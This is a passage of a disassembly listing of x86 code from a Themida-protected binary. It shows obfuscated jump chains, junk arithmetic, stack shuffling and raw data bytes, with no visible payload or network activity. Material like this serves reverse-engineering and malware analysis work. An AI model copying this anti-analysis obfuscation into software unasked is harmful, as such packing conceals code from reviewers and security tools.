; ---------------------------------------------------------------------------


loc_54DE93:				; CODE XREF: Themida_:0054BDA0j
		add	esi, 611A3C93h
		add	esi, edi
		jmp	loc_54E3CE
; ---------------------------------------------------------------------------
		dd 2474FF53h, 31B6E904h, 0C5280000h, 0FF8E4CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DEB1:				; CODE XREF: Themida_:005510D2j
		shr	edx, 1
		cmp	eax, edx
		jmp	loc_54BE18
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 79D73289h, 0E951FA01h, 0FFFFF037h, 83241489h, 348904ECh
		dd 2434FF24h, 0FFA978E9h, 2EC81FFh, 66000000h, 0B7241C89h
		dd 66F80027h, 468665Bh,	1C896634h, 66B9B724h, 4AEB652h
		dd 0E9F00057h, 0FFFFE877h, 1573A1BBh, 8BD9895Fh, 84E9241Ch
		dd 8900000Dh, 0A0E92434h, 8700003Dh, 248B2414h,	0C83B6624h
		dd 85C5E99Ch, 0FF57FFFFh, 5F042474h, 8B24048Fh,	76E92424h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DF37:				; CODE XREF: Themida_:0055017Bj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		sub	edx, 4
		push	edx
		jmp	loc_54846B
; ---------------------------------------------------------------------------
		dw 0CE29h
		dd 39B85059h, 81CABC08h, 4A3A99EEh, 81C6016Ch, 4A3A99C6h
		dd 0F089586Ch, 0A1C7815Eh, 1067B46h, 8FB850C7h,	351AB73Ah
		dd 1CCC7C2Eh, 45E9C729h, 0BB000025h, 4,	505BD889h, 0D46061B8h
		dd 0C742E94Bh, 0C483FFFFh, 0A48DE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DF9E:				; CODE XREF: Themida_:005518C2j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	esp, 4
		jmp	loc_54CE24
; ---------------------------------------------------------------------------


loc_54DFC2:				; CODE XREF: Themida_:00549C1Bj
		push	ebp
		mov	ebp, 3891727Ah
		and	ebp, 74964373h
		shl	ebp, 5
		jmp	loc_54EB4C
; ---------------------------------------------------------------------------
		dw 772Dh
		dd 0E969865Eh, 0FFFFD4C9h, 6C81C581h, 0EF897303h, 23C7815Dh
		dd 0E9B72394h, 0FFFFD6C9h
; ---------------------------------------------------------------------------


loc_54DFF4:				; CODE XREF: Themida_:005486C4j
		mov	ebx, [esp]
		add	esp, 4
		neg	ebx
		sub	ebx, 9A86A2E4h
		jmp	loc_54D4A6
; ---------------------------------------------------------------------------
byte_54E007	db 66h			; DATA XREF: Themida_:0054622Co
		dd 50240C8Bh, 6E9E089h,	68000008h, 6282h, 52242C89h, 2391E955h
		dd 0C5830000h, 0B46E902h, 0EB000000h, 595CC380h, 0FFCCB0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E035:				; CODE XREF: Themida_:0054DDABj
		or	edi, esi
		pop	esi
		jmp	loc_549DEA
; ---------------------------------------------------------------------------
		db 89h,	0D3h, 5Ah
		dd 7F0568h, 241C8900h, 0FFCB11E9h, 685350FFh, 3F147FC2h
		dd 81241C8Bh, 4C4h, 2E3C100h, 2414F753h, 52E9505Bh, 51FFFF8Fh
		dd 0ED80F2B5h, 0E9C5FE79h, 0FFFFF09Fh, 0C381DBF7h, 0C53E7518h
		dd 0E95BDD89h, 0BA9h, 0F4E9E957h, 0EA81FFFFh, 2B5E600Bh
		dd 0AC81C281h, 0D589C258h, 0B905E95Ah
		db 2 dup(0FFh)
word_54E0A2	dw 77FFh		; DATA XREF: Themida_:00546254o
		dd 58669D1Ch, 9C240418h, 0FF843AE9h, 81E189FFh,	4C1h, 4C18300h
		dd 2474FF51h, 48F5904h,	24248B24h, 0E924048Fh, 0FFFF9A4Ah
		dd 4C481h, 0C5800000h, 10C3800Ah, 5066EB00h, 0C32810B0h
		dd 3A4AE9h, 243C8B00h, 639568h,	240C8900h, 0C181E189h
		dd 4, 8704C183h, 555C240Ch, 0BE0A2EBDh,	0CC3CE96Ah
		db 2 dup(0FFh)
word_54E10E	dw 34FFh		; DATA XREF: Themida_:005462B4o
		dd 24048B24h, 5304C483h, 4FEE9h, 0C4815A00h, 4,	48BC131h
		dd 4C48124h, 1000000h, 0E779E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E136:				; CODE XREF: Themida_:00551B14j
		mov	esi, [esp]
		jmp	loc_54E922
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 2, 36F868h, 242C8900h, 42474FFh, 24048F5Dh, 0BE0F665Ch
		dd 7E6866C8h, 0C896619h, 8385E924h, 0AB68FFFFh,	8900004Bh
		dd 89532434h, 4C381E3h,	0E9000000h, 472h, 53241489h, 0F380BDB3h
		dd 5BDE888Dh, 0E2B75366h, 0FFDD55E9h, 5EF021FFh, 5D0F748h
		dd 82880E33h, 34FFC729h, 0C4815824h, 4,	2D5FFE89h, 7A754E26h
		dd 2605F001h, 8B7A754Eh, 0C4832434h, 0F55EE904h, 0EB01FFFFh
		dd 0FF8EEAE9h, 8BEE29FFh, 56E9242Ch, 52FFFFC2h,	0CE78DCBAh
		dd 0C6C2817Ah, 10F0172h, 0C8015AD1h, 39685359h,	0E920706Eh
		dd 0FFFFD7FDh, 0A1F6E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E1F6:				; CODE XREF: Themida_:0054AE79j
		mov	edi, 21062859h
		xor	edi, 7A1A0C65h
		push	eax
		mov	eax, 6B9C2D5Ah
		or	edi, eax
		pop	eax
		add	edi, 8463D286h
		add	ebp, 22A504B8h
		add	ebp, edi
		sub	ebp, 22A504B8h
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		push	esp
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_546DA0
; ---------------------------------------------------------------------------


loc_54E239:				; CODE XREF: Themida_:0055125Cj
		mov	edx, 62053D73h
		shr	edx, 8
		and	edx, 53C539C6h
		inc	edx
		add	edx, 758A0441h
		xor	ecx, edx
		pop	edx
		jmp	loc_54A8E7
; ---------------------------------------------------------------------------


loc_54E256:				; CODE XREF: Themida_:00546BB3j
		mov	edi, 4
		add	eax, edi
		pop	edi
		jmp	loc_54F8BB
; ---------------------------------------------------------------------------


loc_54E263:				; CODE XREF: Themida_:loc_54BE18j
					; Themida_:0054D8D4j ...
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_546BFD
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 0E924248Bh, 0FFFFCBC7h, 4B850h, 0C3010000h, 0FA47E958h
		dd 0C483FFFFh, 28CF2C04h, 5BCF04F8h, 0D8007A04h, 0FFDCB2E9h
		dd 3BCD81FFh, 8177A515h, 0AF81C0EDh, 5DE8897Fh,	2158C289h
		dd 0BBE91C57h, 8300002Ah, 0EC8304C4h, 24148904h, 0EA885253h
		dd 885AD388h, 77885BDEh, 24148B38h, 0FF9A1FE9h,	0E9F001FFh
		dd 3F51h, 0E9240C8Bh, 0FFFFA813h
dword_54E2E4	dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFF81F7h, 774368h
					; DATA XREF: Themida_:005462B8o
		dd 0B992E900h
		db 2 dup(0FFh)
word_54E2FE	dw 8B66h		; DATA XREF: Themida_:0054632Co
		dd 8150240Ch, 4ECh, 15F5E900h, 2C330000h, 4304E924h
		db 2 dup(0)
word_54E316	dw 83ADh		; DATA XREF: Themida_:00546328o
		dd 0F00207Fh, 272E84h, 0D1BD5500h, 0F737161Ah, 45D5F7DDh
		dd 0D007ED81h, 92E9BDAEh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E337:				; CODE XREF: Themida_:005506DCj
		mov	ebp, 6E4B54BBh
		sub	ebx, ebp
		pop	ebp
		inc	ebx
		not	ebx
		shl	ebx, 2
		sub	ebx, 1
		push	ebp
		jmp	loc_549DFC
; ---------------------------------------------------------------------------
		db 29h,	0F5h, 8Bh
		dd 0C4812434h, 4, 315DE831h, 8F66C3h, 0FF8182E9h, 0E9D788FFh
		dd 0FFFFBFA1h, 24048F58h, 3C3FE9h, 24343300h, 33243431h
		dd 248B2434h, 24148B24h, 8904EC83h, 0E6892434h,	4C681h
		dd 0C6810000h, 4, 0E904EC83h, 2107h, 8158C329h,	0E90836C3h
		dd 1C87592Bh, 24248B24h, 0FFB0D7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E3B9:				; CODE XREF: Themida_:0054EB4Dj
		mov	esi, 1
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_551640
; ---------------------------------------------------------------------------


loc_54E3CE:				; CODE XREF: Themida_:0054DE9Bj
		sub	esi, 611A3C93h
		sub	esi, 64A56300h
		jmp	loc_5477C3
; ---------------------------------------------------------------------------


loc_54E3DF:				; CODE XREF: Themida_:00550540j
		xor	[esp], ebp
		jmp	loc_550306
; ---------------------------------------------------------------------------
		db 57h
		dd 42474FFh, 24048F5Fh,	0FFEF54E9h, 0C5815DFFh,	4, 82685750h
		dd 5F1D7933h, 3380EF81h, 58571D79h, 83243C8Bh, 0C58104C4h
		dd 0BAD4682h, 83E9C501h, 81FFFF86h, 55E688EFh, 21E5E900h
		dd 0C3810000h, 1A8654C9h, 1CC5E9h, 0A7E95800h, 5FFFFFE6h
		dd 4C481h, 71E90000h, 1FFFFAAh,	51042474h, 0AD73FFB9h
		dd 244C0136h, 240C8B08h, 0E904C483h, 2472h, 24048966h
		dd 0C0C0B551h, 0D5F606E5h, 8873ED80h, 0C30059E8h, 0C3805866h
		dd 80C30013h, 0EC8113EBh, 4, 0B2241489h, 0DAF280FDh, 8904EC83h
		dd 0EAB1240Ch, 5152C9FEh, 0EE887DB5h, 52C68059h, 3043F680h
		dd 0CA005AF1h, 83240C8Bh, 0D32804C4h, 0C0B60F5Ah, 0E987048Fh
		dd 0FFFF802Fh
; ---------------------------------------------------------------------------


loc_54E4BC:				; CODE XREF: Themida_:00550E79j
		add	esp, 4
		push	edi
		mov	edi, 31363EF5h
		xor	ebp, edi
		jmp	loc_54D86C
; ---------------------------------------------------------------------------
		db 0B2h
		dd 0CCC28000h, 0FFDE52E9h, 3C3366FFh, 3C316624h, 48B6624h
		dd 2C48124h, 66000000h,	0E9240487h, 0FFFF7FF7h,	37E9E828h
		dd 81000034h, 0C503B8EFh, 23C78103h, 29611B29h,	0E0C15FF8h
		dd 57E0D104h, 843AA8BFh, 5FF8316Ch, 90826C35h, 58C5018Ch
		dd 2C581h, 22E90000h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E52B:				; CODE XREF: Themida_:0054A2C5j
		mov	ebp, 7FE71FB7h
		xor	esi, ebp
		pop	ebp
		mov	edi, esi
		jmp	loc_548030
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 7CE90000h, 5B00000Ch, 148BF030h, 0E3895324h
		dd 4C381h, 0BF570000h, 4, 410CE9h, 59686600h, 0C89661Dh
		dd 0B60F6624h, 9C5166C8h, 0FF7F76E9h, 70E956FFh, 89FFFFE1h
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 2424D35Ch, 0FF7F56E9h
		dd 0C4815FFFh, 4, 0B7E9F031h, 81000004h, 4C2h, 4C28100h
		dd 87000000h, 97E92414h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E5B7:				; CODE XREF: Themida_:00549BEFj
		add	eax, 127A0879h
		sub	eax, edx
		sub	eax, 127A0879h
		mov	edx, [esp]
		jmp	loc_54C2D7
; ---------------------------------------------------------------------------
		db 89h
		dd 12E951C1h, 31FFFFC6h, 0C33240Ch, 0C4815C24h,	4, 4C481h
		dd 0C8850000h, 0F669E99Ch, 0BA52FFFFh, 4, 875AD329h, 895C241Ch
		dd 0E9502424h, 0FFFFC7A5h
; ---------------------------------------------------------------------------


loc_54E604:				; CODE XREF: Themida_:0054EA0Aj
		mov	ebp, [esp]
		push	ecx
		jmp	loc_54DD3D
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 14h
		dd 0EB80F328h, 8EE95A14h, 89FFFFBBh, 4BF57E3h, 56000000h
		dd 0DF6226BEh, 5EF30178h, 0B951FB01h, 32E42FAEh, 3941E9h
		db 0, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54B13F
; ---------------------------------------------------------------------------


loc_54E642:				; CODE XREF: Themida_:0054D78Aj
		dec	ebx
		or	ebx, 73D919DEh
		shl	ebx, 3
		add	ebx, 0BB2E6085h
		sub	ebp, ebx
		pop	ebx
		shl	ebp, 7
		inc	ebp
		push	eax
		mov	eax, 5B025298h
		sub	eax, 67AE3D07h
		or	eax, 26A2392Fh
		push	edi
		jmp	loc_5525C0
; ---------------------------------------------------------------------------
		db 1
		dd 7AE95EF0h, 2DFFFF89h, 10501Dh, 8158C101h, 4C1h, 240C8700h
		dd 0FF9C2AE9h, 9EF681FFh, 0E9280F73h, 0FFFF82A8h, 0E958C630h
		dd 0FFFFEDEDh, 802EB652h, 0FE3015CEh, 0FE30F730h, 3A60E9h
		dd 48B6600h, 0E3895324h, 4B951h, 0CB010000h, 57240C8Bh
		dd 0C781E789h, 4, 8704C783h, 685C243Ch,	690h, 0FFA00FE9h
		dd 0DE95CFFh
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E6E3:				; CODE XREF: Themida_:0054D2D9j
		push	ebx
		mov	ebx, 40E43048h
		shl	ebx, 5
		and	ebx, 0ECA5A8Fh
		shl	ebx, 3
		xor	ebx, 1AB05494h
		sub	eax, ebx
		pop	ebx
		jmp	loc_5518B9
; ---------------------------------------------------------------------------
		db 50h
		dd 758C6855h, 0B85D2392h, 2392758Eh, 15DE829h, 0BDB1E9C3h
		dd 0CCE9FFFFh, 0C0FFFF7Dh, 22E908E7h, 0E9FFFFE4h, 0FFFF7DBFh
		dd 5954515Dh, 4C181h, 0C1810000h, 4, 5C240C87h,	35E9C331h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E747:				; CODE XREF: Themida_:00551030j
		pop	ecx
		jmp	loc_54EBF7
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 4F45B3BAh, 0EA814A0Ch, 0C4F45AEh, 0A9E9D001h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E763:				; CODE XREF: Themida_:0054749Aj
		mov	edi, 49881D69h
		not	edi
		push	0
		jmp	loc_5521F0
; ---------------------------------------------------------------------------


loc_54E774:				; CODE XREF: Themida_:0054BB1Ej
		mov	ebx, 0
		sub	ebx, 5A495836h
		add	ebx, eax
		add	ebx, 5A495836h
		add	dword ptr [ebx], 1
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4


loc_54E79C:				; CODE XREF: Themida_:0054A215j
		push	2DC5h
		mov	[esp], esi
		push	238Ch
		mov	[esp], ebp
		push	ebx
		xor	dword ptr [esp], 31363EF5h
		push	dword ptr [esp]
		jmp	loc_550E78
; ---------------------------------------------------------------------------


loc_54E7BC:				; CODE XREF: Themida_:0054D18Aj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		add	esp, 4
		add	esp, 4
		jmp	loc_5464EB
; ---------------------------------------------------------------------------
		dd 0E9241C87h, 0FFFFB88Fh, 0C9FEC281h, 0D60197FEh, 2A78E9h
		dd 6D0C6800h, 2C890000h, 6846BD24h, 81552C1Fh, 4805242Ch
		dd 815F53E2h, 0E24805C7h, 22C8E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E80A:				; CODE XREF: Themida_:0054EA7Ej
		mov	[esp], edx
		mov	edx, 424B60C2h
		mov	ebx, edx
		jmp	loc_54D667
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 1000000h, 78E95EF0h,	89FFFFAFh, 0C7095DE8h, 0F7D7F758h
		dd 53C781D7h, 29739B5Ch, 366FE9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E83E:				; CODE XREF: Themida_:00548360j
		xchg	esi, ebx
		not	esi
		push	ebx
		push	esi
		jmp	loc_54AB4E
; ---------------------------------------------------------------------------


loc_54E849:				; CODE XREF: Themida_:00546640j
		pop	ecx
		jmp	loc_54B2B8
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9240431h, 0FFFF7C93h, 2C5BD800h, 58C328C3h, 25A268h
		dd 240C8900h, 0C580A5B5h, 0C0C5FE01h, 0ED8006E5h, 1DC38054h
		dd 75E9EB28h, 88FFFFDCh, 2E345BF8h, 0D9E9C288h,	54000010h
		dd 5B2434FFh, 0FF9998E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E895:				; CODE XREF: Themida_:00550E97j
		sub	eax, 0F361E092h
		add	ebx, eax
		jmp	loc_54DC0D
; ---------------------------------------------------------------------------
		db 59h,	0F6h, 0D4h
		dd 5866E788h, 0E905EFC0h, 0FFFFE645h, 7990F681h, 0C6817DBEh
		dd 83FA78AFh, 7FE9F789h, 33FFFFD6h, 1C31241Ch, 241C3324h
		dd 0B28AE95Ch, 0FE89FFFFh, 0E955525Fh, 0FFFFA143h, 6624248Bh
		dd 9C242CD3h, 0FF7C02E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E8E9:				; CODE XREF: Themida_:0054C991j
		push	esi
		push	76D2C5Dh
		mov	esi, [esp]
		jmp	loc_54F29C
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFB8D1E9h, 2474FFFFh, 324DE904h, 0CE310000h, 0F3EA8159h
		dd 102A473h, 0F3C281F2h, 5E02A473h, 2474FF52h, 63E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E922:				; CODE XREF: Themida_:0054E139j
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_54DCC0
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFBEE0h, 0E958E588h, 0FFFF7EE2h, 34FFFE01h, 350CE924h
		dd 0E1890000h, 0E9E38953h, 0FFFFC929h, 3304C083h, 81E92404h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54E957:				; CODE XREF: Themida_:0054ADF7j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	esi, ebx
		pop	ebx
		add	esi, 0AF89FC95h
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54ECC3
; ---------------------------------------------------------------------------
		dd 0CB2495BAh, 5BEDBE20h, 0D6317B89h, 0FFACC4E9h, 48F5AFFh
		dd 24248B24h, 0FF9B60E9h, 815E5BFFh, 4ECh, 243C8900h, 65EA68h
		dd 242C8900h, 345D6CBDh, 0AF9DBF25h, 0EF0149BAh, 0FFF8315Dh
		dd 0E95F2434h, 0F67h, 42474FFh,	83242C8Bh, 1C8904ECh, 81E38924h
		dd 4C3h, 80B1E900h, 0E951FFFFh,	0FFFFB304h
dword_54E9DC	dd 240C8B66h, 83E78957h, 48904ECh, 0A3BE5624h, 5174132Ah
					; DATA XREF: Themida_:005462DCo
		dd 384F3FB9h, 81D1F746h, 856C16E1h, 0D8C1814Eh,	0E9364A12h
		dd 0FFFFF546h
; ---------------------------------------------------------------------------


loc_54EA08:				; CODE XREF: Themida_:0054A260j
		and	eax, ebp
		jmp	loc_54E604
; ---------------------------------------------------------------------------
byte_54EA0F	db 66h			; DATA XREF: Themida_:00546494o
		dd 68240C8Bh, 47BDh, 54242C89h,	244BE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54EA22:				; CODE XREF: Themida_:0054B7BBj
		pop	esp
		push	27A6h
		mov	[esp], eax
		push	7452h
		mov	[esp], ebx
		jmp	loc_548E33
; ---------------------------------------------------------------------------


loc_54EA38:				; CODE XREF: Themida_:00548062j
		xor	eax, 7239ACBEh
		push	ecx
		mov	ecx, eax
		mov	esi, ecx
		pop	ecx
		pop	eax
		push	edi
		mov	edi, 19F56C79h
		and	esi, edi
		pop	edi
		jmp	loc_54942E
; ---------------------------------------------------------------------------
		dw 0F730h
		dd 0D03DE95Ah, 0E95EFFFFh, 0FFFF7A8Bh, 348BF031h, 4C48124h
		dd 68000000h, 0C14h, 53243489h,	1D7BE9h
		db 0
; ---------------------------------------------------------------------------


loc_54EA79:				; CODE XREF: Themida_:0055006Bj
		push	0A28h
		jmp	loc_54E80A
; ---------------------------------------------------------------------------


loc_54EA83:				; CODE XREF: Themida_:00547D86j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 7E0A10E0h
		mov	esi, 0D6FC45BCh
		add	esi, edx
		jmp	loc_550CC9
; ---------------------------------------------------------------------------
		db 50h
		dd 0D56F89B8h, 1818E967h, 0E7810000h, 0C6A23BDh, 0FFE2EDE9h
		dd 24048BFFh, 4C481h, 0F2010000h, 19FAE95Eh, 5C010000h
		dd 0E95B0424h, 0FFFF7A03h, 4EC815Dh, 0E9000000h, 0FFFFB375h
dword_54EAF4	dd 0E92434FFh, 6E2h, 79EAC781h,	0F7010074h, 79EAEF81h
					; DATA XREF: Themida_:0054637Co
		dd 348B0074h, 4C48324h,	0E95751h, 55FFFFAEh, 1F94BA52h
		dd 0C2812CABh, 347A03C1h, 4242D2F7h, 0FFF561E9h, 4C483FFh
		dd 0FFD50DE9h, 81DEF7FFh, 0F723A1C6h, 0EBF7E96Dh, 4568FFFFh
		dd 0E900000Ah, 0FFFF83B1h
; ---------------------------------------------------------------------------


loc_54EB4C:				; CODE XREF: Themida_:0054DFD1j
		push	esi
		jmp	loc_54E3B9
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 32D0306Fh, 0EAB0E981h, 0CF891DB8h, 0D7BAE959h, 4B8FFFFh
		dd 0E9000000h, 187Ah, 31242C33h, 2C33242Ch, 0DB8DE924h
		dd 0F281FFFFh, 0E934E798h, 15AD601h, 0C967E9D6h, 465EFFFFh
		dd 0FAF7E946h, 1487FFFFh, 48B5C24h, 4EC8324h, 0E9243489h
		dd 0FFFFACDDh
; ---------------------------------------------------------------------------


loc_54EBA8:				; CODE XREF: Themida_:00549A21j
		pop	ebp
		xchg	esi, edx
		xor	eax, edx
		xor	edx, eax
		jmp	loc_5514AA
; ---------------------------------------------------------------------------
		dd 0E904EFC1h, 0FFFF7D14h, 0E6482F68h, 0C2815A59h, 6FC30085h
		dd 0DAE94A42h, 6600002Fh, 8166DDF7h, 660BD9F5h,	665DE901h
		dd 7E5BE981h, 0FFEACFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EBE5:				; CODE XREF: Themida_:0054B59Fj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, ebx
		push	1C52h
		jmp	loc_54A56C
; ---------------------------------------------------------------------------


loc_54EBF7:				; CODE XREF: Themida_:0054E748j
		sub	esp, 4
		mov	[esp], eax
		push	7C4F23EEh
		mov	eax, [esp]
		jmp	loc_548A55
; ---------------------------------------------------------------------------


loc_54EC0A:				; CODE XREF: Themida_:00549EA4j
		add	esp, 4
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, edx
		pop	edx
		shr	eax, 18h
		jmp	loc_54B387
; ---------------------------------------------------------------------------


loc_54EC23:				; CODE XREF: Themida_:0054D28Ej
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		jmp	loc_54D460
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0C0h
		dd 0E901D631h, 3838h, 8C0A12BAh, 0DBF28149h, 0E9463A7Bh
		dd 2276h
; ---------------------------------------------------------------------------


loc_54EC4C:				; CODE XREF: Themida_:0054C664j
		and	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		inc	ebx
		neg	ebx
		push	eax
		mov	eax, 5B0D6885h
		and	eax, 214B06C6h
		and	eax, 6F594DAAh
		jmp	loc_5486A7
; ---------------------------------------------------------------------------
		dd offset aProtocolString+13h
		align 4
		dd 0FFE158E9h, 48966FFh, 7869E924h, 0C8BFFFFh, 4C48124h
		dd 58000000h, 91E9535Ah, 83FFFFD2h, 0C98104C4h,	5F24320Dh
		dd 7448BA52h, 67E97515h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54ECA7:				; CODE XREF: Themida_:0054DE8Ej
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_54B1BA
; ---------------------------------------------------------------------------


loc_54ECC3:				; CODE XREF: Themida_:0054E96Fj
		shr	eax, 12h
		xor	eax, ecx
		push	33C0h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	ebp
		push	edx
		mov	edx, 64926268h
		add	edx, 0FFFFFFFFh
		shl	edx, 5
		and	edx, 3ED64988h
		jmp	loc_552881
; ---------------------------------------------------------------------------
		dd 4C481h, 0B9510000h, 6E391C1Dh, 2959C829h, 1C1D05D8h
		dd 0CB2D6E39h, 5113B92Dh, 865686B9h, 4E9C13Dh, 0FF9AB7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54ED25:				; CODE XREF: Themida_:005498A6j
		pop	eax
		add	bh, dh
		jmp	loc_547DD2
; ---------------------------------------------------------------------------
byte_54ED2D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054620Co
		dd 582434FFh, 2562E9h, 89535C00h, 4C381E3h, 83000000h
		dd 1C8704C3h, 0E1F75C24h, 4CAA68h, 24148900h, 90E99C50h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ED5B:				; CODE XREF: Themida_:00546C6Ej
		mov	ebx, 3D761BBAh
		add	eax, ebx
		jmp	loc_547434
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C3812424h, 4, 8702C383h, 665C241Ch,	9C2404FFh, 0FF776AE9h
		dd 0B9515EFFh, 2C904DFFh, 831BE950h, 0FA29FFFFh, 0FFDA14E9h
		dd 0EB81FFh, 0E9014040h, 0FFFF8CBBh, 8324248Bh,	3C8904ECh
		dd 835F5424h, 348904ECh, 4BE24h, 0F7010000h, 5024348Bh
		dd 405E089h, 5000000h, 4, 5C240487h, 1348E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54EDD2:				; CODE XREF: Themida_:0054F21Dj
		and	eax, ebx
		jmp	loc_54B53B
; ---------------------------------------------------------------------------


loc_54EDD9:				; CODE XREF: Themida_:0055260Aj
		push	esi
		jmp	loc_54F110
; ---------------------------------------------------------------------------
		db 0BFh
		dd 7DF398Ah, 6F366855h,	0B3E93E36h, 8FFFFFCDh, 4832404h
		dd 525F0424h, 0E175B1BAh, 9C28142h, 81447555h, 0B925F2C2h
		dd 0ECC2813Bh, 6818FB43h, 0
		dd 0E9241429h, 0FFFFD9D9h, 24048F5Eh, 240CD35Ch, 0E51AE99Ch
		dd 0DE29FFFFh, 2C6815Bh, 1167017h, 2EE81FEh, 81167017h
		dd 0E07C88C6h, 3BEE8105h, 0FF2B796Ch, 0ECE92434h, 87FFFFF5h
		dd 5C2434h, 0ECC0E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EE5A:				; CODE XREF: Themida_:0054F112j
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_5483FC
; ---------------------------------------------------------------------------
		db 2Dh
		dd 9A515B79h, 0B958C389h, 224B3CF7h, 81FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54EE79:				; CODE XREF: Themida_:00550A17j
		mov	eax, 2A2F28A2h
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_549EFA
; ---------------------------------------------------------------------------
		dd 0F94EE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EE8E:				; CODE XREF: Themida_:0054B0A7j
		mov	ebp, 24h
		push	edi
		mov	edi, ebp
		mov	eax, edi
		pop	edi
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	eax, 5D152ACFh
		jmp	loc_54671D
; ---------------------------------------------------------------------------
word_54EEAA	dw 68h			; DATA XREF: Themida_:00546348o
		dd 0FF000000h, 1C8B2434h, 202AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54EEBA:				; CODE XREF: Themida_:00548CC4j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_547CAB
; ---------------------------------------------------------------------------
		db 5Eh,	50h, 89h
		dd 0E9C389C8h, 664h
dword_54EED0	dd 4EC81ADh, 89000000h,	51BF243Ch, 0E92ABF64h, 0FFFF7F1Eh
					; DATA XREF: Themida_:0054638Co
		dd 4EE815Ah, 0E9000000h, 0FFFFB455h, 86CA815Eh,	814BC115h
		dd 4ECh, 24348900h, 4EC81h, 14890000h, 0BB535524h, 31A36C96h
		dd 78E9DD89h, 87FFFFE8h, 4A5C2404h, 0D6F7F287h,	0C283F287h
		dd 0EEA8101h, 5BB636Ah,	4CC2642Ah, 0BB53D001h, 4CC2642Ah
		dd 0E95BD829h, 0FFFF783Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5520F3
; ---------------------------------------------------------------------------
dword_54EF54	dd 8B2434FFh, 0ADE92404h, 53FFFFDBh, 3433E1BBh,	38C38153h
					; DATA XREF: Themida_:00546400o
